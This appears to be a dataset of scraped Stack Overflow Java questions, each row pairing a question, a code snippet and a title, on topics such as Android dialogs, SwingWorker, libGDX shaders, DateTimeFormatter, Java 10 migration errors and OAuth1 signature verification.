a method that creates four alerts for me . So I pass it an alert builder that can then create the alerts . I can return them in an array , but in my code I already have the alerts individually named , and I would like to keep it that way so I would n't need to refer to them as alert [ 1 ] , alert [ 2 ] ... etc.So that means I would have to rename them , which would add additional code which would probably be longer than the code in the actual method ! Am I thinking about this the right way ? Is there anything I can do ? -Edit- and instead replace it withand have that code off somewhere to the side .","AlertDialog.Builder builder = new AlertDialog.Builder ( this ) ; builder.setMessage ( this.getString ( R.string.ache_Q_text ) ) .setPositiveButton ( `` OK '' , new DialogInterface.OnClickListener ( ) { public void onClick ( DialogInterface dialog , int id ) { dialog.cancel ( ) ; } } ) ; final AlertDialog ache_Q_alert = builder.create ( ) ; builder.setMessage ( this.getString ( R.string.food_Q_text ) ) ; final AlertDialog food_Q_alert = builder.create ( ) ; builder.setMessage ( this.getString ( R.string.event_Q_text ) ) ; final AlertDialog event_Q_alert = builder.create ( ) ; builder.setMessage ( this.getString ( R.string.ache_Q_text ) ) ; final AlertDialog ache_type_Q_alert = builder.create ( ) ; createAlerts ( ) ;",What is the best way to organize Java code since you ca n't pass by reference ? +Java,"String is vulnerable for password values . I noticed that Vaadin PasswordField manipulates password as a String . Following is default constructor of PasswordField , My questions : Is it safe to use PasswordField in Vaadin ? What internal API does to assure the safety of the password ?",public PasswordField ( ) { setValue ( `` '' ) ; },Why PasswordField use String instead of char [ ] in Vaadin ? +Java,I 'm trying to understand what is the best way to set color in the side of a CardView like this My cardview looks like this :,< ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < androidx.cardview.widget.CardView xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' xmlns : card_view= '' http : //schemas.android.com/tools '' android : id= '' @ +id/cardViewWe '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : layout_marginLeft= '' 4dp '' android : layout_marginTop= '' 4dp '' android : layout_marginRight= '' 4dp '' android : layout_marginBottom= '' 4dp '' android : foreground= '' ? attr/selectableItemBackground '' android : transitionName= '' cardTransition '' app : cardBackgroundColor= '' @ drawable/selector '' app : cardElevation= '' 2dp '' card_view : cardCornerRadius= '' 8dp '' > < androidx.constraintlayout.widget.ConstraintLayout android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' > ... .. ... .. < /androidx.constraintlayout.widget.ConstraintLayout > < /androidx.cardview.widget.CardView >,How to set color in the side of cardview +Java,"I 'm retrofitting old some SimpleDateFormat code to use the new Java 8 DateTimeFormatter . SimpleDateFormat , and thus the old code , accepts strings with stuff in them after the date like `` 20130311nonsense '' . The DateTimeFormat I created throws a DateTimeParseException for these strings , which is probably the right thing to do , but I 'd like to maintain compatibility . Can I modify my DateTimeFormat to accept these strings ? I 'm currently creating it like this :",DateTimeFormatter.ofPattern ( `` yyyyMMdd '' ),How can I make a DateTimeFormatter that accepts trailing junk ? +Java,I have a use case to authenticate OAuth1 request which is signed using RSA Private Key and verified at server end with RSA public key.I found this library from Twitter which helps us authenticate/verify the Oauth signed requests . https : //github.com/twitter/joauthI want to leverage this library for verifying the request from Jersey or Spring MVC action method . The request from client would have been signed using private key . At my end I would use the public key of the client to verify the request . which means RSA-SHA1 algo.Twitter joauth seem to be useful but I am missing the code that would transform HttpServletRequest to OAuthRequestThe library read-me file suggests this as facility but I could not find a code that does javax.servlet.http.HttpServletRequest -- > com.twitter.joauth.OAuthRequest transformation.The request verification happens in verify method which has following signature.Secondly I also want to know which is the most appropriate way to use/read RSA public key with twitter joauth when verify method takes String parameter ?,"public VerifierResult verify ( UnpackedRequest.OAuth1Request request , String tokenSecret , String consumerSecret ) ;",Verify OAuth1a signed request using Twitter joauth with RSA-SHA1 ? +Java,"I am working on a platformer with libGDX , Tiled Map and Box2D . I want to apply some shaders.I want a vignette effect that stick to the hero . For the vignette effect , I used this tutorial . The problem I encounter is : If the camera is fixed , I obtain exactly what I want . The vignette sticks to the hero . But , if the camera moves , which happens in a scrolling platformer game , the vignette effect does n't stick to the hero.Here is a video that illustrates my problemIt seems I have to take into account the camera position to calculate the coordinate of the vignette effect , but I have no idea how.Here is the fragment shader I use for the vignette : In the game screen , the relevant code is : As I said , this code works perfectly if the camera does n't move . But since it does n't work when the camera moves , I thought the problem was linked to the camera projection and I tried this code , with no better success , in the render ( ) :","varying vec4 v_color ; varying vec2 v_texCoord0 ; uniform vec2 u_resolution ; uniform float u_PosX , u_PosY ; uniform sampler2D u_sampler2D ; const float outerRadius = 10 , innerRadius = 1 , intensity = .5 ; void main ( ) { vec4 color = texture2D ( u_sampler2D , v_texCoord0 ) * v_color ; vec2 relativePosition = gl_FragCoord.xy / u_resolution - vec2 ( u_PosX , u_PosY ) ; //Position of the vignette relativePosition.x *= u_resolution.x / u_resolution.y ; //The vignette is a circle float len = length ( relativePosition ) ; float vignette = smoothstep ( outerRadius , innerRadius , len ) ; color.rgb = mix ( color.rgb , color.rgb * vignette , intensity ) ; gl_FragColor = color ; } public TestScreen ( final MyGdxGame gam ) { camera = new MyCamera ( ) ; camera.setToOrtho ( false , width , height ) ; camera.update ( ) ; vertexShader = Gdx.files.internal ( `` Shaders/vVignette.glsl '' ) .readString ( ) ; fragmentShader = Gdx.files.internal ( `` Shaders/fVignette.glsl '' ) .readString ( ) ; shaderProgram = new ShaderProgram ( vertexShader , fragmentShader ) ; shaderProgram.begin ( ) ; shaderProgram.setUniformf ( `` u_resolution '' , camera.viewportWidth , camera.viewportHeight ) ; shaderProgram.end ( ) ; } public void render ( float delta ) { Gdx.gl.glClearColor ( 0.1f,0.1f,0.1f,1 ) ; Gdx.gl.glClear ( GL20.GL_COLOR_BUFFER_BIT ) ; camera.update ( ) ; //calculation of the position of the effect depending on the position of the hero posX = ( Gdx.graphics.getWidth ( ) /camera.viewportWidth ) * hero.bodyHero.getPosition ( ) .x/camera.viewportWidth ; posY = ( Gdx.graphics.getHeight ( ) /camera.viewportHeight ) * hero.bodyHero.getPosition ( ) .y/camera.viewportHeight ; shaderProgram.begin ( ) ; shaderProgram.setUniformf ( `` u_PosX '' , posX ) ; shaderProgram.setUniformf ( `` u_PosY '' , posY ) ; shaderProgram.end ( ) ; } Vector3 PosHero = new Vector3 ( ) ; PosHero.set ( hero.bodyHero.getPosition ( ) .x , hero.bodyHero.getPosition ( ) .y , 0 ) ; camera.unproject ( PosHero ) ; posX = ( Gdx.graphics.getWidth ( ) /camera.viewportWidth ) * PosHero.x/camera.viewportWidth ; posY = ( Gdx.graphics.getHeight ( ) /camera.viewportHeight ) * PosHero.y/camera.viewportHeight ; shaderProgram.begin ( ) ; shaderProgram.setUniformf ( `` u_PosX '' , posX ) ; shaderProgram.setUniformf ( `` u_PosY '' , posY ) ; shaderProgram.end ( ) ;",libGDX shader coordinate and camera position +Java,"The naive code I have is : where my expectation was to see the following in the console : But the actual is : It is probably something very simple , but what am I missing ?","class $ { public static void main ( String [ ] _ ) { final List < Integer > ints = new ArrayList < > ( ) ; IntStream.iterate ( 0 , i - > i++ ) .limit ( 5 ) .forEach ( val - > ints.add ( val ) ) ; System.out.println ( ints ) ; } } [ 0 , 1 , 2 , 3 , 4 ] [ 0 , 0 , 0 , 0 , 0 ]",What is wrong in my approach to create a list of integers using IntStream and forEach ? +Java,"There are balls in my app that just fly through display . They draws as I want . But now I want to draw the trail behind them.All I could make is just drawing by canvas.drawPath something like following picture : But it is not what I want . It should have pointed tail and gradient color like this : I have no idea how to make it . Tried BitmapShader - could n't make something right . Help , please.Code : First of all , there is Point class for position on display : And trail is stored as queue of Point : It does n't matter how it fills , just know it has size limit : And drawing happened in DrawTrail method : By the way , trailPaint is just really fat paint : )","class Point { float x , y ; ... } private ConcurrentLinkedQueue < Point > trail ; trail.add ( position ) ; if ( trail.size ( ) > TRAIL_MAX_COUNT ) { trail.remove ( ) ; } private void DrawTrail ( Canvas canvas ) { trailPath.reset ( ) ; boolean isFirst = true ; for ( Point p : trail ) { if ( isFirst ) { trailPath.moveTo ( p.x , p.y ) ; isFirst = false ; } else { trailPath.lineTo ( p.x , p.y ) ; } } canvas.drawPath ( trailPath , trailPaint ) ; } trailPaint = new Paint ( ) ; trailPaint.setStyle ( Paint.Style.STROKE ) ; trailPaint.setColor ( color ) ; trailPaint.setStrokeWidth ( radius * 2 ) ; trailPaint.setAlpha ( 150 ) ;",Android draw ball trail +Java,"I 'm playing around with lambdas and got into my head that I wanted to try creating a simple db/object mapper as a part of the learning.Yes , there are plenty of frameworks that already do this , but this is more about learning and the problem I 've run into is technical.First , I wanted to define all mapping logic in an enum.It started out plain and simple with just a bunch of field names : That let me create the following method ( implementation not relevant ) which gives api user compile check on columns : After that I wanted to define more rules in the enum , specifically how results are mapped from a java.sql.ResultSet to my Thing class.Starting out simple I created a functional interface : and added it to the enum : I created a mapResultSetRow method which uses the lambdas from the enum to extract data from the ResultSet : The above findAll could then use the mapResultSetRow to apply relevant mappers to the ResultSet . Nice and tidy.Almost anyway . I think the enum is quite ugly and contains a lot of boiler plate with that lambda you have to put in for every mapping . Ideally I would like to do this instead : However that does of course not compile and now I 'm stuck , problems with non-static/static.. I 'll break it down a little first by removing some noise : Compile error : Can not make a static reference to the non-static method getLong ( String ) from the type ResultSet . I suppose what I want is either not possible to do , or possible by changing the signature of the labmda in the enum 's constructor.I found a similar issue in this question : Limits of static method references in Java 8where Dmitry Ginzburg 's answer ( scroll down , not accepted as correct answer ) outlines some issues , however no solution.Thank you for reading so far : ) Any thoughts ?","enum ThingColumn { id , language ; } public Collection < Thing > findAll ( ThingColumn ... columns ) ; @ FunctionalInterfacestatic interface ThingResultMapper { void map ( Thing to , ResultSet from , String column ) ; } enum ThingColumn { id ( ( t , rs , col ) - > t.setId ( rs.getLong ( col ) ) ) , language ( ( t , rs , col ) - > t.setLanguage ( rs.getString ( col ) ) ) ; ThingColumn ( ThingResultMapper mapper ) { .. } } public Thing mapResultSetRow ( ResultSet rs , ThingColumn ... fields ) { Thing t = new Thing ( ) ; Stream.of ( fields ) .forEach ( f - > f.getMapper ( ) .map ( t , rs , f.name ( ) ) ) ; return t ; } enum ThingColumn { id ( ResultSet : :getLong , Thing : :setId ) , language ( ResultSet : :getString , Thing : :setLanguage ) ; } enum ThingColumn { id ( ResultSet : :getLong ) ; // < < - compile error ThingColumn ( Function < String , ? > resultSetExtractor ) { .. } }",Using method references with parameters +Java,"In the `` Data Structures and Algorithms in Java '' book of Robert Lafore it is stated that the Insertion Sort is a stable algorithm . Which means that equal items preserve their order.Here is the example from the book : In the while cycle we are going left and seeking for a place for temp variable . And even if a [ in - 1 ] == temp , we still move one step left and insert tmp before a [ in - 1 ] while in the original array tmp was to the right of a [ in - 1 ] .The order of array elements changed after the sorting . How is this algorithm is stable then ? Should n't there just be a [ in - 1 ] > temp instead of a [ in - 1 ] > = temp ? Maybe i 'm just making a mistake and do n't see something obvious ?","public void insertionSort ( ) { int in , out ; for ( out = 1 ; out < nElems ; out++ ) // out is dividing line { long temp = a [ out ] ; // remove marked item in = out ; // start shifts at out while ( in > 0 & & a [ in - 1 ] > = temp ) // until one is smaller , { a [ in ] = a [ in - 1 ] ; // shift item right , -- in ; // go left one position } a [ in ] = temp ; // insert marked item } // end for } // end insertionSort ( )",Do equal elements preserve their order in Insertion Sort algorithm ? +Java,Probably a simple one but I ca n't seem to find out where to stop this . Each time I type in it gets instantly replaced withand the package is automatically included.Anyway of stopping this from happening in Eclipse ? Thanks,int integer import android.R.integer ;,Android int replaced with android.R.integer in eclipse +Java,"The JLS mentions in the type inference algorithm ( §15.12.2 ) : It is possible that the process above yields an infinite type . This is permissible , and Java compilers must recognize such situations and represent them appropriately using cyclic data structures.However , I 'm unable to find an actual example where javac produces an infinite type.I think it ought to produce one in the following case : Both String and Integer are Comparable < themselve > , so their common supertype should be Comparable < ? extends Comparable < ? extends Comparable < ? ... > > > ( infinite ) .I can do : but then I tried : and this does n't compile.It seems that the recursion is aborted after 2 steps.Do you know of any case to make Java actually produce an infinite type ? -- Edit : it seems that the above is a compiler bug . Reading the specification , let 's see how the calculation of lub ( String , Integer ) works out : So lub ( String , Integer ) should be an infinite type . Javac seems to be wrong here . Maybe it does n't implement infinite types after all ?","< T > T pick ( T a , T b ) { ... } pick ( `` string '' , 3 ) ; Comparable < ? extends Comparable < ? > > x = pick ( `` string '' , 3 ) ; Comparable < ? extends Comparable < ? extends Comparable < ? > > > x = pick ( `` string '' , 3 ) ; ST ( String ) = { String , Comparable < String > , Serializable , CharSequence , Object } ST ( Integer ) = { Integer , Comparable < Integer > , Serializable , Number , Object } EC = { Comparable , Serializable , Object } MEC = { Comparable , Serializable } Inv ( Comparable ) = { Comparable < String > , Comparable < Integer > } lcta ( String , Integer ) = ? extends lub ( String , Integer ) lci ( Inv ( Comparable ) ) = Comparable < ? extends lub ( String , Integer ) > lub ( String , Integer ) = Serializable & Comparable < ? extends lub ( String , Integer ) >",When does Java type inference produce an infinite type ? +Java,"Ok , assume I have a class , X and X is something which has an aggregate relationship with other objects . Lets pretend X is a soccer stadium.X is full of class spectators . However , the behaviour of each spectator for a particular activity differs . Instead of IF statements , I want the different behaviour to be within the spectator class , so that I can use dynamic binding.However , the problem is that the behaviour the spectator performs affects the `` soccer stadium '' class . So I was thinking of passing `` this '' from the soccer stadium class , through a method , to the Spectator class , so that the spectator class can do something to the Soccer Stadium class ? I only want to do this so that I can use dynamic binding and alter the behaviour in Specator.doSomething ( ) so that I can have lots of different types of SpectatorSuperClass as an attribute passed to SoccerStadium and then have the different behaviour.EDIT : What if I passed the reference of the Stadium to the Specator through the Spectator constructor , instead of passing this ?",public class SoccerStadium { SpecatorInterface s = new Spectator ( ) ; public void SpectatorBehaviour ( ) { s.doSomething ( this ) ; } public void doSomethingthingBySpecator ( ) { } } public class Spectator implements SpecatorInterface { public void doSomething ( SoccerStadium s ) { s.doSomethingthingBySpecator ( ) ; } },Is this bad OO programming ? Passing this down through methods +Java,"I 'm observing an unusual behaviour and I would like to understand what is happening.Imagine a simple setup.First I have a stateless bean that just returns something : Then I have a another stateless bean that does some processingThen I have a simple CDI bean to call the process method.Result : When I call the process method several times in a row , the process time keeps increasing : And it keeps going up every time the method is called.How can that be explained ? I 'm using Java JDK 1.7.0_25 and JBOSS EAP 6.1.EDITBy the way , the only way to 'reset ' the processing time for the method is to restart the server .","@ Statelesspublic class SimpleService { private Map < String , String > map ; @ PostConstruct public init ( ) { map = new HashMap < > ( ) ; } public Map < String , String > getMap ( ) { return map ; } } @ Statelesspublic class ProcessService { private static final Logger log = LoggerFactory.getLogger ( ProcessService.class ) ; private static final int MAX = 2000 ; @ Inject private SimpleService simpleService ; @ TransactionAttribute ( TransactionAttributeType.REQUIRED ) public void process ( ) { final long start = System.currentTimeMillis ( ) ; for ( int i=0 ; i < MAX ; i++ ) { simpleService.getMap ( ) ; } final long end = System.currentTimeMillis ( ) ; log.info ( MessageFormat.format ( `` Process took { 0 } ms '' , end - start ) ) ; } } Process took 900 msProcess took 1,100 msProcess took 1,200 msProcess took 1,400 ms",EJB method takes more time to return after each call +Java,"I was wondering what 's the reasoning of the existance of an empty constructor on Thread class.Since you cant give it a Runnable when it 's created , creating a Thread like this : Is completely useless.Can you think of a reason why there is not an option of adding a runnable to a thread AFTER CREATION ?",Thread t=new Thread ( ) ;,Thread class empty constructor +Java,"In continuation of my previous query in the link : Swing Issue on Java 10 , I am finding a few more issues ( highlighting only errors ) , this time I see issues are mostly in Collection API 's after moving to java 10.Below is the error . Wanted to know is there any major changes in Java 10 when migrating from Java 8 ( from Collection/Generics point of view ) .WMTreeNode is extending javax.swing.tree.DefaultMutableTreeNode .","[ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\ui\tree\WMTreeNode.java:159 : error : breadthFirstEnumeration ( ) in WMTreeNode can not override breadthFirstEnumeration ( ) in DefaultMutableTreeNode [ javac ] public Enumeration < ? extends WMTreeNode > breadthFirstEnumeration ( ) { [ javac ] ^ [ javac ] return type Enumeration < ? extends WMTreeNode > is not compatible with Enumeration < TreeNode > [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\ui\tree\WMTreeNode.java:158 : error : method does not override or implement a method from a supertype [ javac ] @ Override [ javac ] ^ [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\ui\tree\WMTreeNode.java:164 : error : depthFirstEnumeration ( ) in WMTreeNode can not override depthFirstEnumeration ( ) in DefaultMutableTreeNode [ javac ] public Enumeration < ? extends WMTreeNode > depthFirstEnumeration ( ) { [ javac ] ^ [ javac ] return type Enumeration < ? extends WMTreeNode > is not compatible with Enumeration < TreeNode > [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\ui\tree\WMTreeNode.java:163 : error : method does not override or implement a method from a supertype [ javac ] @ Override [ javac ] ^ [ javac ] ^ [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\ui\tree\WMTreeNode.java:298 : error : no suitable method found for sort ( Vector < TreeNode > ) [ javac ] Collections.sort ( children ) ; [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\datamgmt\ui\load\LoadNode.java:90 : error : breadthFirstEnumeration ( ) in LoadNode can not override breadthFirstEnumeration ( ) in DefaultMutableTreeNode [ javac ] public Enumeration < ? extends LoadNode > breadthFirstEnumeration ( ) { [ javac ] ^ [ javac ] return type Enumeration < ? extends LoadNode > is not compatible with Enumeration < TreeNode > [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\datamgmt\ui\load\LoadNode.java:95 : error : depthFirstEnumeration ( ) in LoadNode can not override depthFirstEnumeration ( ) in DefaultMutableTreeNode [ javac ] public Enumeration < ? extends LoadNode > depthFirstEnumeration ( ) { [ javac ] where T is a type-variable : [ javac ] T extends Object declared in class Class [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\automation\plot\CopyCountJobParameterDescriptor.java:113 : error : incompatible types : Integer can not be converted to CAP # 1 [ javac ] final boolean outOfRange = ( model.getMinimum ( ) .compareTo ( i ) > 0 ) || ( model.getMaximum ( ) .compareTo ( i ) < 0 ) ; [ javac ] ^ [ javac ] where CAP # 1 is a fresh type-variable : [ javac ] CAP # 1 extends Object from capture of ? [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\automation\plot\CopyCountJobParameterDescriptor.java:113 : error : incompatible types : Integer can not be converted to CAP # 1 [ javac ] final boolean outOfRange = ( model.getMinimum ( ) .compareTo ( i ) > 0 ) || ( model.getMaximum ( ) .compareTo ( i ) < 0 ) ; [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\datamgmt\ui\load\SnapshotLoadNode.java:48 : error : breadthFirstEnumeration ( ) in SnapshotLoadNode can not override breadthFirstEnumeration ( ) in DefaultMutableTreeNode [ javac ] public Enumeration < ? extends SnapshotLoadNode > breadthFirstEnumeration ( ) { [ javac ] ^ [ javac ] return type Enumeration < ? extends SnapshotLoadNode > is not compatible with Enumeration < TreeNode > [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\datamgmt\ui\load\SnapshotLoadNode.java:53 : error : depthFirstEnumeration ( ) in SnapshotLoadNode can not override depthFirstEnumeration ( ) in DefaultMutableTreeNode [ javac ] public Enumeration < ? extends SnapshotLoadNode > depthFirstEnumeration ( ) { [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\datamgmt\ui\favorites\FavoritesTreeNode.java:30 : error : breadthFirstEnumeration ( ) in FavoritesTreeNode can not override breadthFirstEnumeration ( ) in DefaultMutableTreeNode [ javac ] public Enumeration < ? extends FavoritesTreeNode > breadthFirstEnumeration ( ) { [ javac ] ^ [ javac ] return type Enumeration < ? extends FavoritesTreeNode > is not compatible with Enumeration < TreeNode > [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\datamgmt\ui\favorites\FavoritesTreeNode.java:35 : error : depthFirstEnumeration ( ) in FavoritesTreeNode can not override depthFirstEnumeration ( ) in DefaultMutableTreeNode [ javac ] public Enumeration < ? extends FavoritesTreeNode > depthFirstEnumeration ( ) { [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\datamgmt\ui\save\SaveNode.java:113 : error : breadthFirstEnumeration ( ) in SaveNode can not override breadthFirstEnumeration ( ) in DefaultMutableTreeNode [ javac ] public Enumeration < ? extends SaveNode > breadthFirstEnumeration ( ) { [ javac ] ^ [ javac ] return type Enumeration < ? extends SaveNode > is not compatible with Enumeration < TreeNode > [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\src\com\osm\datamgmt\ui\save\SaveNode.java:118 : error : depthFirstEnumeration ( ) in SaveNode can not override depthFirstEnumeration ( ) in DefaultMutableTreeNode [ javac ] public Enumeration < ? extends SaveNode > depthFirstEnumeration ( ) { [ javac ] ^ [ javac ] C : \WorkSpace\JAVA10\oswm\rel20.10_Patches\WorkManager\OSMWebServices\src\java\com\osm\webservices\legacy\util\MessageAttachmentHandler.java:76 : error : can not find symbol [ javac ] attachment.setRawContent ( new BufferedInputStream ( new FileInputStream ( file ) ) , [ javac ] ^",Java 10 migration issue related to Collection and Generics +Java,"the code is : The output of the code is But when the address of the i is null , then in the 2nd i1.i how does it return a value ? How can a null reference be used to point to a variable ?",interface I { int i = 0 ; void display ( ) ; } class A implements I { I i1 ; public static void main ( String [ ] args ) { A a = new A ( ) ; a.display ( ) ; } public void display ( ) { System.out.println ( i1 ) ; //1 System.out.println ( i1.i ) ; //2 } } null0,How can a null reference to an interface return a value ? +Java,"I ran the following methods in C # .Here , if I call Add ( 1,1 ) , it gives ambiguity.Now let me swap position of float and long in the first method as follows : Now it prints `` method 2 '' as output . What is the reason behind the ambiguity in first case ? And if I write following two methods in my code : On calling Add ( 1,1 ) , it gives ambiguity error . Why does it not go for best match , which is the second method ( having int and float ) ? According to me , it should have given method 2 as output .","public float Add ( float num1 , long num2 ) { Console.WriteLine ( `` method 1 '' ) ; return 0 ; } public float Add ( int num1 , float num2 ) { Console.WriteLine ( `` method 2 '' ) ; return 0 ; } public float Add ( long num1 , float num2 ) { Console.WriteLine ( `` method 1 '' ) ; return 0 ; } public float Add ( int num1 , float num2 ) { Console.WriteLine ( `` method 2 '' ) ; return 0 ; } public float Add ( long num1 , long num2 ) { Console.WriteLine ( `` method 1 '' ) ; return 0 ; } public float Add ( int num1 , float num2 ) { Console.WriteLine ( `` method 2 '' ) ; return 0 ; }",Method overloading in C # and Java +Java,"My question is a theory-based question , but it does meet a specific need I have.What do you do when your SwingWorker throws an Exception that you a ) can anticipate and b ) need to recover from and continue , but you want to notify the user that this error has happened ? How do you grab the expected exception and notify the user without violating the `` No Swing code from doInBackground ( ) '' rule ? I have , in consideration of this problem , developed a SSCCE that I would like to put forth with the questions below it.SSCCE : Is it valid to call SwingUtilities.invokeAndWait ( ) within the doInBackground ( ) method ? I did some Thread profiling on this and the results were thus : Once the `` Go '' button is pressed , the SwingWorker-pool-1-thread-1 thread goes Green . THEN , when the if condition is met , the error is thrown , and the error dialog is displayed , the thread goes yellow , and there is indeed a green `` blip '' on the AWT-EventQueue-0 thread , indicating that the EDT was invoked . I waited about 10 seconds , pressed `` ok , '' and the SwingWorker thread went green again.Are there any potential pitfalls to doing something like this ? Does anyone have experience with notifying users of computation errors in real time from the SwingWorker ? I 'll be honest , this approach has me leery . It seems unorthodox but I can not say for certain whether this is a bad idea .","import java.awt.event.ActionEvent ; import java.awt.event.ActionListener ; import java.util.concurrent.ExecutionException ; import javax.swing.JButton ; import javax.swing.JDialog ; import javax.swing.JFrame ; import javax.swing.JOptionPane ; import javax.swing.JProgressBar ; import javax.swing.SwingUtilities ; import javax.swing.SwingWorker ; public class Test { public static void main ( String args [ ] ) { final JFrame frame = new JFrame ( ) ; JButton go = new JButton ( `` Go . `` ) ; go.addActionListener ( new ActionListener ( ) { @ Override public void actionPerformed ( ActionEvent e ) { new Task ( frame ) ; } } ) ; frame.add ( go ) ; frame.pack ( ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; frame.setLocationByPlatform ( true ) ; frame.setVisible ( true ) ; } static class Task extends SwingWorker < Void , Void > { JFrame parent ; JDialog dialog ; public Task ( JFrame parent ) { this.parent = parent ; dialog = new JDialog ( parent ) ; JProgressBar jpb = new JProgressBar ( ) ; jpb.setIndeterminate ( true ) ; dialog.add ( jpb ) ; dialog.setLocationRelativeTo ( null ) ; dialog.setVisible ( true ) ; execute ( ) ; } @ Override protected Void doInBackground ( ) throws Exception { for ( int i = 0 ; i < 100000 ; i++ ) { System.out.println ( i ) ; try { if ( i == 68456 ) throw new IllegalStateException ( `` Yikes ! i = 68456 . `` ) ; } catch ( final IllegalStateException e ) { SwingUtilities.invokeAndWait ( new Runnable ( ) { @ Override public void run ( ) { JOptionPane.showMessageDialog ( parent , `` Error : `` + e.getMessage ( ) , `` Error '' , JOptionPane.ERROR_MESSAGE ) ; } } ) ; } } return null ; } @ Override protected void done ( ) { if ( ! isCancelled ( ) ) { try { get ( ) ; } catch ( ExecutionException | InterruptedException e ) { e.printStackTrace ( ) ; } } System.out.println ( `` done '' ) ; dialog.dispose ( ) ; } } }",Error handling in SwingWorker +Java,"I want to Create a [ 1 Player vs PC ] Game with Threads.we have 10*10 two Colors Shapes in our board like this : when the Player clicks on BLUE Circles , Their color turns into Gray . at the other side PC should turn all RED Rectangles into Gray . the WINNER is who Clears all his/her own Shapes Earlier.Code for The Player works fine but , My Problem is in Implementing The PC side of the Game , as i read in this article i should use SwingWorker to Implement Threading in GUI.it 's my first time using SwingWorkers and i do n't know how it should be to works properly.Here is my Codes : The Main Class } Shape Item Class } ShapesPanel Class }","public class BubblePopGame { public static final Color DEFAULT_COLOR1 = Color.BLUE ; public static final Color DEFAULT_COLOR2 = Color.RED ; public BubblePopGame ( ) { List < ShapeItem > shapes = new ArrayList < ShapeItem > ( ) ; int Total = 10 ; for ( int i = 1 ; i < = Total ; i++ ) { for ( int j = 1 ; j < = Total ; j++ ) { if ( ( i + j ) % 2 == 0 ) { shapes.add ( new ShapeItem ( new Ellipse2D.Double ( i * 25 , j * 25 , 20 , 20 ) , DEFAULT_COLOR1 ) ) ; } else { shapes.add ( new ShapeItem ( new Rectangle2D.Double ( i * 25 , j * 25 , 20 , 20 ) , DEFAULT_COLOR2 ) ) ; } } } JFrame frame = new JFrame ( `` Bubble Pop Quest ! ! `` ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; ShapesPanel panel = new ShapesPanel ( shapes ) ; frame.add ( panel ) ; frame.setLocationByPlatform ( true ) ; frame.pack ( ) ; frame.setVisible ( true ) ; } public static void main ( String [ ] args ) { SwingUtilities.invokeLater ( new Runnable ( ) { public void run ( ) { new BubblePopGame ( ) ; } } ) ; } public class ShapeItem { private Shape shape ; private Color color ; public ShapeItem ( Shape shape , Color color ) { super ( ) ; this.shape = shape ; this.color = color ; } public Shape getShape ( ) { return shape ; } public void setShape ( Shape shape ) { this.shape = shape ; } public Color getColor ( ) { return color ; } public void setColor ( Color color ) { this.color = color ; } public class ShapesPanel extends JPanel { private List < ShapeItem > shapes ; private Random rand = new Random ( ) ; private SwingWorker < Boolean , Integer > worker ; public ShapesPanel ( List < ShapeItem > shapesList ) { this.shapes = shapesList ; worker = new SwingWorker < Boolean , Integer > ( ) { @ Override protected Boolean doInBackground ( ) throws Exception { while ( true ) { Thread.sleep ( 200 ) ; int dim = rand.nextInt ( 300 ) ; publish ( dim ) ; return true ; } } @ Override protected void done ( ) { Boolean Status ; try { Status = get ( ) ; System.out.println ( Status ) ; super.done ( ) ; //To change body of generated methods , choose Tools | Templates . } catch ( InterruptedException ex ) { Logger.getLogger ( ShapesPanel.class.getName ( ) ) .log ( Level.SEVERE , null , ex ) ; } catch ( ExecutionException ex ) { Logger.getLogger ( ShapesPanel.class.getName ( ) ) .log ( Level.SEVERE , null , ex ) ; } } @ Override protected void process ( List < Integer > chunks ) { int mostRecentValue = chunks.get ( chunks.size ( ) -1 ) ; System.out.println ( mostRecentValue ) ; Color color2 = Color.LIGHT_GRAY ; ShapeItem tmpShape = shapes.get ( mostRecentValue ) ; if ( tmpShape.getColor ( ) ==Color.RED ) { tmpShape.setColor ( color2 ) ; } repaint ( ) ; } } ; worker.execute ( ) ; addMouseListener ( new MouseAdapter ( ) { @ Override public void mouseClicked ( MouseEvent e ) { Color color1 = Color.LIGHT_GRAY ; for ( ShapeItem item : shapes ) { if ( item.getColor ( ) == Color.BLUE ) { if ( item.getShape ( ) .contains ( e.getPoint ( ) ) ) { item.setColor ( color1 ) ; } } } repaint ( ) ; } } ) ; } @ Overrideprotected void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; Graphics2D g2 = ( Graphics2D ) g.create ( ) ; for ( ShapeItem item : shapes ) { g2.setColor ( item.getColor ( ) ) ; g2.fill ( item.getShape ( ) ) ; } g2.dispose ( ) ; } @ Overridepublic Dimension getPreferredSize ( ) { return new Dimension ( 300 , 300 ) ; } private Color getRandomColor ( ) { return new Color ( rand.nextFloat ( ) , rand.nextFloat ( ) , rand.nextFloat ( ) ) ; }",Java - How to Create a MultiThreaded Game using SwingWorker +Java,"Please be gentle with me.I hear Java 8 introduced lambdas . But before that , if you wanted to pass around a function , say , as an argument , what did you do ? One way I can think of is to create a single method interface like so : But that is a very limited application of functions as first class citizens because : You can not do much other than to execute that function or to pass that object around to another method . With lambdas , you can compose . For e.g . you can 